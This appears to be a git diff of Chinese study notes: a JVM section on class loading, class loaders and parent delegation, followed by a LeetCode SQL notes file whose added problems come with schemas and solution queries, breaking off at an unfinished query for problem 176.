- 运行时计算生成,这种场景使用得最多得就是动态代理技术,在 java.lang.reflect.Proxy 中,就是用了 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。 - 运行时计算生成,例如动态代理技术,在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
- 由其他文件生成,典型场景是 JSP 应用,即由 JSP 文件生成对应的 Class 类。 - 由其他文件生成,例如由 JSP 文件生成对应的 Class 类。
- 从数据库读取,这种场景相对少见,例如有些中间件服务器(如 SAP Netweaver可以选择把程序安装到数据库中来完成程序代码在集群间的分发。
...
### 2. 验证 ### 2. 验证
确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。 确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。
- 文件格式验证:验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
- 元数据验证:对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
- 字节码验证:通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
- 符号引用验证:发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
### 3. 准备 ### 3. 准备
类变量是被 static 修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。 类变量是被 static 修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。
实例变量不会在这阶段分配内存,它将会在对象实例化时随着对象一起分配在 Java 堆中。(实例化不是类加载的一个过程,类加载发生在所有实例化操作之前,并且类加载只进行一次,实例化可以进行多次) 实例变量不会在这阶段分配内存,它将会在对象实例化时随着对象一起分配在堆中。
注意,实例化不是类加载的一个过程,类加载发生在所有实例化操作之前,并且类加载只进行一次,实例化可以进行多次。
初始值一般为 0 值,例如下面的类变量 value 被初始化为 0 而不是 123。 初始值一般为 0 值,例如下面的类变量 value 被初始化为 0 而不是 123。
@ -595,15 +507,17 @@ public static final int value = 123;
将常量池的符号引用替换为直接引用的过程。 将常量池的符号引用替换为直接引用的过程。
其中解析过程在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 的动态绑定。
### 5. 初始化 ### 5. 初始化
初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。 初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段即虚拟机执行类构造器 &lt;clinit>() 方法的过程。
在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。 在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
&lt;clinit>() 方法具有以下特点: &lt;clinit>() 方法具有以下特点:
- 是由编译器自动收集类中所有类变量的赋值动作和静态语句块static{} 块)中的语句合并产生的,编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是,静态语句块只能访问到定义在它之前的类变量,定义在它之后的类变量只能赋值,不能访问。例如以下代码: - 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的,编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是,静态语句块只能访问到定义在它之前的类变量,定义在它之后的类变量只能赋值,不能访问。例如以下代码:
```java ```java
public class Test { public class Test {
@ -617,7 +531,7 @@ public class Test {
- 与类的构造函数(或者说实例构造器 &lt;init>())不同,不需要显式的调用父类的构造器。虚拟机会自动保证在子类的 &lt;clinit>() 方法运行之前,父类的 &lt;clinit>() 方法已经执行结束。因此虚拟机中第一个执行 &lt;clinit>() 方法的类肯定为 java.lang.Object。 - 与类的构造函数(或者说实例构造器 &lt;init>())不同,不需要显式的调用父类的构造器。虚拟机会自动保证在子类的 &lt;clinit>() 方法运行之前,父类的 &lt;clinit>() 方法已经执行结束。因此虚拟机中第一个执行 &lt;clinit>() 方法的类肯定为 java.lang.Object。
- 由于父类的 &lt;clinit>() 方法先执行,也就意味着父类中定义的静态语句块要优于子类的变量赋值操作。例如以下代码: - 由于父类的 &lt;clinit>() 方法先执行,也就意味着父类中定义的静态语句块的执行要优于子类。例如以下代码:
```java ```java
static class Parent { static class Parent {
@ -632,7 +546,7 @@ static class Sub extends Parent {
} }
public static void main(String[] args) { public static void main(String[] args) {
System.out.println(Sub.B); // 输出结果是父类中的静态变量 A 的值,也就是 2。 System.out.println(Sub.B); // 2
} }
``` ```
@ -642,17 +556,51 @@ public static void main(String[] args) {
- 虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步,如果多个线程同时初始化一个类,只会有一个线程执行这个类的 &lt;clinit>() 方法,其它线程都会阻塞等待,直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作,就可能造成多个线程阻塞,在实际过程中此种阻塞很隐蔽。 - 虚拟机会保证一个类的 &lt;clinit>() 方法在多线程环境下被正确的加锁和同步,如果多个线程同时初始化一个类,只会有一个线程执行这个类的 &lt;clinit>() 方法,其它线程都会阻塞等待,直到活动线程执行 &lt;clinit>() 方法完毕。如果在一个类的 &lt;clinit>() 方法中有耗时的操作,就可能造成多个线程阻塞,在实际过程中此种阻塞很隐蔽。
## 类加载器 ## 类初始化时机
实现类的加载动作。在 Java 虚拟机外部实现,以便让应用程序自己决定如何去获取所需要的类。 ### 1. 主动引用
### 1. 类与类加载器 虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随之发生):
两个类相等:类本身相等,并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间 - 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候
- 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
- 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化。
- 当虚拟机启动时,用户需要指定一个要执行的主类(包含 main() 方法的那个类),虚拟机会先初始化这个主类;
- 当使用 JDK 1.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
### 2. 被动引用
以上 5 种场景中的行为称为对一个类进行主动引用。除此之外,所有引用类的方式都不会触发初始化,称为被动引用。被动引用的常见例子包括:
- 通过子类引用父类的静态字段,不会导致子类初始化。
```java
System.out.println(SubClass.value); // value 字段在 SuperClass 中定义
```
- 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
```java
SuperClass[] sca = new SuperClass[10];
```
- 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
```java
System.out.println(ConstClass.HELLOWORLD);
```
## 类与类加载器
两个类相等需要类本身相等,并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
这里的相等,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true也包括使用 instanceof 关键字做对象所属关系判定结果为 true。 这里的相等,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
### 2. 类加载器分类 ## 类加载器分类
从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器: 从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器:
@ -662,13 +610,13 @@ public static void main(String[] args) {
从 Java 开发人员的角度看,类加载器可以划分得更细致一些: 从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
- 启动类加载器Bootstrap ClassLoader此类加载器负责将存放在 &lt;JAVA_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。 - 启动类加载器Bootstrap ClassLoader此类加载器负责将存放在 &lt;JRE_HOME>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
- 扩展类加载器Extension ClassLoader这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。 - 扩展类加载器Extension ClassLoader这个类加载器是由 ExtClassLoadersun.misc.Launcher$ExtClassLoader实现的。它负责将 &lt;JAVA_HOME>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
- 应用程序类加载器Application ClassLoader这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。 - 应用程序类加载器Application ClassLoader这个类加载器是由 AppClassLoadersun.misc.Launcher$AppClassLoader实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值因此一般称为系统类加载器。它负责加载用户类路径ClassPath上所指定的类库开发者可以直接使用这个类加载器如果应用程序中没有自定义过自己的类加载器一般情况下这个就是程序中默认的类加载器。
### 3. 双亲委派模型 ## 双亲委派模型
应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。 应用程序都是由三种类加载器相互配合进行加载的,如果有必要,还可以加入自己定义的类加载器。
@ -676,17 +624,17 @@ public static void main(String[] args) {
<div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br> <div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br>
**(一)工作过程** ### 1. 工作过程
一个类加载器首先将类加载请求传送到父类加载器,只有当父类加载器无法完成类加载请求时才尝试加载。 一个类加载器首先将类加载请求传送到父类加载器,只有当父类加载器无法完成类加载请求时才尝试加载。
**(二)好处** ### 2. 好处
使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系,从而使得基础类得到统一。 使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系,从而使得基础类得到统一。
例如 java.lang.Object 存放在 rt.jar 中,如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中,程序可以编译通过。因为双亲委派模型的存在,所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高,因为 rt.jar 中的 Object 使用的是启动类加载器,而 ClassPath 中的 Object 使用的是应用程序类加载器。正因为 rt.jar 中的 Object 优先级更高,因为程序中所有的 Object 都是这个 Object。 例如 java.lang.Object 存放在 rt.jar 中,如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中,程序可以编译通过。由于双亲委派模型的存在,所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高,这是因为 rt.jar 中的 Object 使用的是启动类加载器,而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高,那么程序中所有的 Object 都是这个 Object。
**(三)实现** ### 3. 实现
以下是抽象类 java.lang.ClassLoader 的代码片段,其中的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException此时尝试自己去加载。 以下是抽象类 java.lang.ClassLoader 的代码片段,其中的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException此时尝试自己去加载。
@ -734,11 +682,11 @@ public abstract class ClassLoader {
} }
``` ```
### 4. 自定义类加载器实现 ## 自定义类加载器实现
FileSystemClassLoader 是自定义类加载器,继承自 java.lang.ClassLoader用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件.class 文件),然后读取该文件内容,最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。 FileSystemClassLoader 是自定义类加载器,继承自 java.lang.ClassLoader用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件.class 文件),然后读取该文件内容,最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
java.lang.ClassLoader 类的方法 loadClass() 实现了双亲委派模型的逻辑,因此自定义类加载器一般不去重写它,而是通过重写 findClass() 方法。 java.lang.ClassLoader loadClass() 实现了双亲委派模型的逻辑,因此自定义类加载器一般不去重写它,但是需要重写 findClass() 方法。
```java ```java
public class FileSystemClassLoader extends ClassLoader { public class FileSystemClassLoader extends ClassLoader {
@ -783,36 +731,13 @@ public class FileSystemClassLoader extends ClassLoader {
} }
``` ```
# 四、JVM 参数
## GC 优化配置
| 配置 | 描述 |
| --- | --- |
| -Xms | 初始化堆内存大小 |
| -Xmx | 堆内存最大值 |
| -Xmn | 新生代大小 |
| -XX:PermSize | 初始化永久代大小 |
| -XX:MaxPermSize | 永久代最大容量 |
## GC 类型设置
| 配置 | 描述 |
| --- | --- |
| -XX:+UseSerialGC | 串行垃圾回收器 |
| -XX:+UseParallelGC | 并行垃圾回收器 |
| -XX:+UseConcMarkSweepGC | 并发标记扫描垃圾回收器 |
| -XX:ParallelCMSThreads= | 并发标记扫描垃圾回收器 = 为使用的线程数量 |
| -XX:+UseG1GC | G1 垃圾回收器 |
```java
java -Xmx12m -Xms3m -Xmn1m -XX:PermSize=20m -XX:MaxPermSize=20m -XX:+UseSerialGC -jar java-application.jar
```
# 参考资料 # 参考资料
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011. - 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory) - [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/) - [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/) - [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271) - [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)

File diff suppressed because it is too large Load Diff

View File

@ -1,12 +1,377 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [595. Big Countries](#595-big-countries)
* [627. Swap Salary](#627-swap-salary)
* [620. Not Boring Movies](#620-not-boring-movies)
* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)
* [182. Duplicate Emails](#182-duplicate-emails)
* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)
* [175. Combine Two Tables](#175-combine-two-tables) * [175. Combine Two Tables](#175-combine-two-tables)
* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers) * [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)
* [183. Customers Who Never Order](#183-customers-who-never-order) * [183. Customers Who Never Order](#183-customers-who-never-order)
* [184. Department Highest Salary](#184-department-highest-salary) * [184. Department Highest Salary](#184-department-highest-salary)
* [未完待续...](#未完待续) * [176. Second Highest Salary](#176-second-highest-salary)
* [177. Nth Highest Salary](#177-nth-highest-salary)
* [178. Rank Scores](#178-rank-scores)
* [180. Consecutive Numbers](#180-consecutive-numbers)
* [626. Exchange Seats](#626-exchange-seats)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 595. Big Countries
https://leetcode.com/problems/big-countries/description/
## Description
```html
+-----------------+------------+------------+--------------+---------------+
| name | continent | area | population | gdp |
+-----------------+------------+------------+--------------+---------------+
| Afghanistan | Asia | 652230 | 25500100 | 20343000 |
| Albania | Europe | 28748 | 2831741 | 12960000 |
| Algeria | Africa | 2381741 | 37100000 | 188681000 |
| Andorra | Europe | 468 | 78115 | 3712000 |
| Angola | Africa | 1246700 | 20609294 | 100990000 |
+-----------------+------------+------------+--------------+---------------+
```
查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
```html
+--------------+-------------+--------------+
| name | population | area |
+--------------+-------------+--------------+
| Afghanistan | 25500100 | 652230 |
| Algeria | 37100000 | 2381741 |
+--------------+-------------+--------------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS World;
CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
INSERT INTO World ( NAME, continent, area, population, gdp )
VALUES
( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
( 'Andorra', 'Europe', '468', '78115', '37120000' ),
( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
```
## Solution
```sql
SELECT name,
population,
area
FROM
World
WHERE
area > 3000000
OR population > 25000000;
```
# 627. Swap Salary
https://leetcode.com/problems/swap-salary/description/
## Description
```html
| id | name | sex | salary |
|----|------|-----|--------|
| 1 | A | m | 2500 |
| 2 | B | f | 1500 |
| 3 | C | m | 5500 |
| 4 | D | f | 500 |
```
只用一个 SQL 查询,将 sex 字段反转。
```html
| id | name | sex | salary |
|----|------|-----|--------|
| 1 | A | f | 2500 |
| 2 | B | m | 1500 |
| 3 | C | f | 5500 |
| 4 | D | m | 500 |
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS salary;
CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
INSERT INTO salary ( id, NAME, sex, salary )
VALUES
( '1', 'A', 'm', '2500' ),
( '2', 'B', 'f', '1500' ),
( '3', 'C', 'm', '5500' ),
( '4', 'D', 'f', '500' );
```
## Solution
```sql
UPDATE salary
SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
```
# 620. Not Boring Movies
https://leetcode.com/problems/not-boring-movies/description/
## Description
```html
+---------+-----------+--------------+-----------+
| id | movie | description | rating |
+---------+-----------+--------------+-----------+
| 1 | War | great 3D | 8.9 |
| 2 | Science | fiction | 8.5 |
| 3 | irish | boring | 6.2 |
| 4 | Ice song | Fantacy | 8.6 |
| 5 | House card| Interesting| 9.1 |
+---------+-----------+--------------+-----------+
```
查找 id 为奇数,并且 description 不是 boring 的电影,按 rating 降序。
```html
+---------+-----------+--------------+-----------+
| id | movie | description | rating |
+---------+-----------+--------------+-----------+
| 5 | House card| Interesting| 9.1 |
| 1 | War | great 3D | 8.9 |
+---------+-----------+--------------+-----------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS cinema;
CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
INSERT INTO cinema ( id, movie, description, rating )
VALUES
( 1, 'War', 'great 3D', 8.9 ),
( 2, 'Science', 'fiction', 8.5 ),
( 3, 'irish', 'boring', 6.2 ),
( 4, 'Ice song', 'Fantacy', 8.6 ),
( 5, 'House card', 'Interesting', 9.1 );
```
## Solution
```sql
SELECT
*
FROM
cinema
WHERE
id % 2 = 1
AND description != 'boring'
ORDER BY
rating DESC;
```
# 596. Classes More Than 5 Students
https://leetcode.com/problems/classes-more-than-5-students/description/
## Description
```html
+---------+------------+
| student | class |
+---------+------------+
| A | Math |
| B | English |
| C | Math |
| D | Biology |
| E | Math |
| F | Computer |
| G | Math |
| H | Math |
| I | Math |
+---------+------------+
```
查找有五名及以上 student 的 class。
```html
+---------+
| class |
+---------+
| Math |
+---------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS courses;
CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
INSERT INTO courses ( student, class )
VALUES
( 'A', 'Math' ),
( 'B', 'English' ),
( 'C', 'Math' ),
( 'D', 'Biology' ),
( 'E', 'Math' ),
( 'F', 'Computer' ),
( 'G', 'Math' ),
( 'H', 'Math' ),
( 'I', 'Math' );
```
## Solution
```sql
SELECT
class
FROM
courses
GROUP BY
class
HAVING
count( DISTINCT student ) >= 5;
```
# 182. Duplicate Emails
https://leetcode.com/problems/duplicate-emails/description/
## Description
邮件地址表:
```html
+----+---------+
| Id | Email |
+----+---------+
| 1 | a@b.com |
| 2 | c@d.com |
| 3 | a@b.com |
+----+---------+
```
查找重复的邮件地址:
```html
+---------+
| Email |
+---------+
| a@b.com |
+---------+
```
## SQL Schema
```sql
DROP TABLE
IF
EXISTS Person;
CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
INSERT INTO Person ( Id, Email )
VALUES
( 1, 'a@b.com' ),
( 2, 'c@d.com' ),
( 3, 'a@b.com' );
```
## Solution
```sql
SELECT
Email
FROM
Person
GROUP BY
Email
HAVING
COUNT( * ) >= 2;
```
# 196. Delete Duplicate Emails
https://leetcode.com/problems/delete-duplicate-emails/description/
## Description
邮件地址表:
```html
+----+---------+
| Id | Email |
+----+---------+
| 1 | a@b.com |
| 2 | c@d.com |
| 3 | a@b.com |
+----+---------+
```
删除重复的邮件地址:
```html
+----+------------------+
| Id | Email |
+----+------------------+
| 1 | john@example.com |
| 2 | bob@example.com |
+----+------------------+
```
## SQL Schema
与 182 相同。
## Solution
连接:
```sql
DELETE p1
FROM
Person p1,
Person p2
WHERE
p1.Email = p2.Email
AND p1.Id > p2.Id
```
子查询:
```sql
DELETE
FROM
Person
WHERE
id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
```
应该注意的是上述解法额外嵌套了一个 SELECT 语句如果不这么做会出现错误You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
```sql
DELETE
FROM
Person
WHERE
id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
```
参考:[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
# 175. Combine Two Tables # 175. Combine Two Tables
https://leetcode.com/problems/combine-two-tables/description/ https://leetcode.com/problems/combine-two-tables/description/
@ -45,9 +410,13 @@ AddressId is the primary key column for this table.
## SQL Schema ## SQL Schema
```sql ```sql
DROP TABLE Person; DROP TABLE
IF
EXISTS Person;
CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) ); CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
DROP TABLE Address; DROP TABLE
IF
EXISTS Address;
CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) ); CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
INSERT INTO Person ( PersonId, LastName, FirstName ) INSERT INTO Person ( PersonId, LastName, FirstName )
VALUES VALUES
@ -62,9 +431,15 @@ VALUES
使用左外连接。 使用左外连接。
```sql ```sql
SELECT FirstName, LastName, City, State SELECT
FROM Person AS P LEFT JOIN Address AS A FirstName,
ON P.PersonId = A.PersonId; LastName,
City,
State
FROM
Person P
LEFT JOIN Address A
ON P.PersonId = A.PersonId;
``` ```
# 181. Employees Earning More Than Their Managers # 181. Employees Earning More Than Their Managers
@ -86,27 +461,33 @@ Employee 表:
+----+-------+--------+-----------+ +----+-------+--------+-----------+
``` ```
查找所有员工,它们的薪资大于其经理薪资。 查找薪资大于其经理薪资的员工信息
## SQL Schema ## SQL Schema
```sql ```sql
DROP TABLE Employee; DROP TABLE
IF
EXISTS Employee;
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT ); CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
INSERT INTO Employee ( Id, NAME, Salary, ManagerId ) INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
VALUES VALUES
( '1', 'Joe', '70000', '3' ), ( 1, 'Joe', 70000, 3 ),
( '2', 'Henry', '80000', '4' ), ( 2, 'Henry', 80000, 4 ),
( '3', 'Sam', '60000', NULL ), ( 3, 'Sam', 60000, NULL ),
( '4', 'Max', '90000', NULL ); ( 4, 'Max', 90000, NULL );
``` ```
## Solution ## Solution
```sql ```sql
SELECT E1.Name AS Employee SELECT
FROM Employee AS E1, Employee AS E2 E1.NAME AS Employee
WHERE E1.ManagerId = E2.Id AND E1.Salary > E2.Salary; FROM
Employee E1
INNER JOIN Employee E2
ON E1.ManagerId = E2.Id
AND E1.Salary > E2.Salary;
``` ```
# 183. Customers Who Never Order # 183. Customers Who Never Order
@ -153,20 +534,24 @@ Orders 表:
## SQL Schema ## SQL Schema
```sql ```sql
DROP TABLE Customers; DROP TABLE
IF
EXISTS Customers;
CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) ); CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
DROP TABLE Orders; DROP TABLE
IF
EXISTS Orders;
CREATE TABLE Orders ( Id INT, CustomerId INT ); CREATE TABLE Orders ( Id INT, CustomerId INT );
INSERT INTO Customers ( Id, NAME ) INSERT INTO Customers ( Id, NAME )
VALUES VALUES
( '1', 'Joe' ), ( 1, 'Joe' ),
( '2', 'Henry' ), ( 2, 'Henry' ),
( '3', 'Sam' ), ( 3, 'Sam' ),
( '4', 'Max' ); ( 4, 'Max' );
INSERT INTO Orders ( Id, CustomerId ) INSERT INTO Orders ( Id, CustomerId )
VALUES VALUES
( '1', '3' ), ( 1, 3 ),
( '2', '1' ); ( 2, 1 );
``` ```
## Solution ## Solution
@ -174,21 +559,25 @@ VALUES
左外链接 左外链接
```sql ```sql
SELECT C.Name AS Customers SELECT
FROM Customers AS C LEFT JOIN Orders AS O C.Name AS Customers
ON C.Id = O.CustomerId FROM
WHERE O.CustomerId IS NULL; Customers C
LEFT JOIN Orders O
ON C.Id = O.CustomerId
WHERE
O.CustomerId IS NULL;
``` ```
子查询 子查询
```sql ```sql
SELECT C.Name AS Customers SELECT
FROM Customers AS C Name AS Customers
WHERE C.Id NOT IN ( FROM
SELECT CustomerId Customers
FROM Orders WHERE
); Id NOT IN ( SELECT CustomerId FROM Orders );
``` ```
# 184. Department Highest Salary # 184. Department Highest Salary
@ -235,9 +624,9 @@ Department 表:
## SQL Schema ## SQL Schema
```sql ```sql
DROP TABLE Employee; DROP TABLE IF EXISTS Employee;
CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT ); CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
DROP TABLE Department; DROP TABLE IF EXISTS Department;
CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) ); CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
INSERT INTO Employee ( Id, NAME, Salary, DepartmentId ) INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
VALUES VALUES
@ -253,15 +642,309 @@ VALUES
## Solution ## Solution
创建一个临时表,包含了部门员工的最大薪资。可以对部门进行分组,然后使用 MAX() 汇总函数取得最大薪资。
之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。
```sql ```sql
SELECT D.Name AS Department, E.Name AS Employee, E.Salary SELECT
FROM Employee AS E, Department AS D, D.NAME Department,
(SELECT DepartmentId, MAX(Salary) AS Salary E.NAME Employee,
FROM Employee E.Salary
GROUP BY DepartmentId) AS M FROM
WHERE E.DepartmentId = D.Id Employee E,
Department D,
( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
WHERE
E.DepartmentId = D.Id
AND E.DepartmentId = M.DepartmentId AND E.DepartmentId = M.DepartmentId
AND E.Salary = M.Salary; AND E.Salary = M.Salary;
``` ```
# 未完待续... # 176. Second Highest Salary
https://leetcode.com/problems/second-highest-salary/description/
## Description
```html
+----+--------+
| Id | Salary |
+----+--------+
| 1 | 100 |
| 2 | 200 |
| 3 | 300 |
+----+--------+
```
查找工资第二高的员工。
```html
+---------------------+
| SecondHighestSalary |
+---------------------+
| 200 |
+---------------------+
```
没有找到返回 null 而不是不返回数据。
## SQL Schema
```sql
DROP TABLE
IF
EXISTS Employee;
CREATE TABLE Employee ( Id INT, Salary INT );
INSERT INTO Employee ( Id, Salary )
VALUES
( 1, 100 ),
( 2, 200 ),
( 3, 300 );
```
## Solution
为了在没有查找到数据时返回 null需要在查询结果外面再套一层 SELECT。
```sql
SELECT
